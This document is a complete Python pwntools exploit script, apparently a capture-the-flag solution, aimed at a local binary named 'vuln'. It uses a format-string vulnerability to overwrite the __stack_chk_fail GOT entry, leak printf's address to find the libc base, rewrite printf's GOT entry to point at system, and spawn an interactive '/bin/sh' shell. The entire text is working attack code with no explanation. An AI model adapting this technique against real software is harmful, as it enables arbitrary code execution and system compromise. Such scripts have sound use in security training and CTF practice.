1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
context.log_level = "debug" context.arch = "amd64" context.terminal = ["tmux","splitw","-h"]
p = process("./vuln")
elf = ELF("./vuln") libc = ELF("./libc.so.6")
stack_chk_fail_got = elf.got["__stack_chk_fail"] printf_got = elf.got['printf'] main = 0x40121F
payload = b'a'*0x12 payload += b"%37$hhn" payload = payload.ljust(0x1F+7,b'b') payload += b"%38$hhn" payload = payload.ljust(0x40+14,b'c') payload += b"%39$n" payload = payload.ljust(272-0x18,b'd') payload += p64(stack_chk_fail_got+1) + p64(stack_chk_fail_got) + p64(stack_chk_fail_got+2) p.send(payload)
p.recvuntil(b'd') payload = b'e'*8 payload += b'%39$s' payload = payload.ljust(272-0x8,b'f') payload += p64(printf_got) p.send(payload) p.recvuntil(b'e'*8) printf_addr = u64(p.recv()[:6].ljust(8,b'\x00')) libc_base = printf_addr - libc.sym['printf'] log.success("libc_base -> " + hex(libc_base))
system_addr = libc_base + libc.sym['system'] system_byte = [ (p64(system_addr)[0],0), (p64(system_addr)[1],1), (p64(system_addr)[2],2), (p64(system_addr)[3],3), (p64(system_addr)[4],4), (p64(system_addr)[5],5), ] system_byte = sorted(system_byte) print(system_byte) assert system_byte[-1][0] < (272-0x30-7)
payload = system_byte[0][0]*b'g' payload += b"%34$hhn" payload = payload.ljust(system_byte[1][0]+7,b'h') payload += b"%35$hhn" payload = payload.ljust(system_byte[2][0]+14,b'i') payload += b"%36$hhn" payload = payload.ljust(system_byte[3][0]+21,b'j') payload += b"%37$hhn" payload = payload.ljust(system_byte[4][0]+28,b'k') payload += b"%38$hhn" payload = payload.ljust(system_byte[5][0]+35,b'l') payload += b"%39$hhn" payload = payload.ljust(272-0x30,b'm') payload += p64(printf_got+system_byte[0][1]) + p64(printf_got+system_byte[1][1]) + p64(printf_got+system_byte[2][1]) payload += p64(printf_got+system_byte[3][1]) + p64(printf_got+system_byte[4][1]) + p64(printf_got+system_byte[5][1])
p.send(payload)
p.recvuntil(b'g') p.send(b'/bin/sh')
p.interactive()
|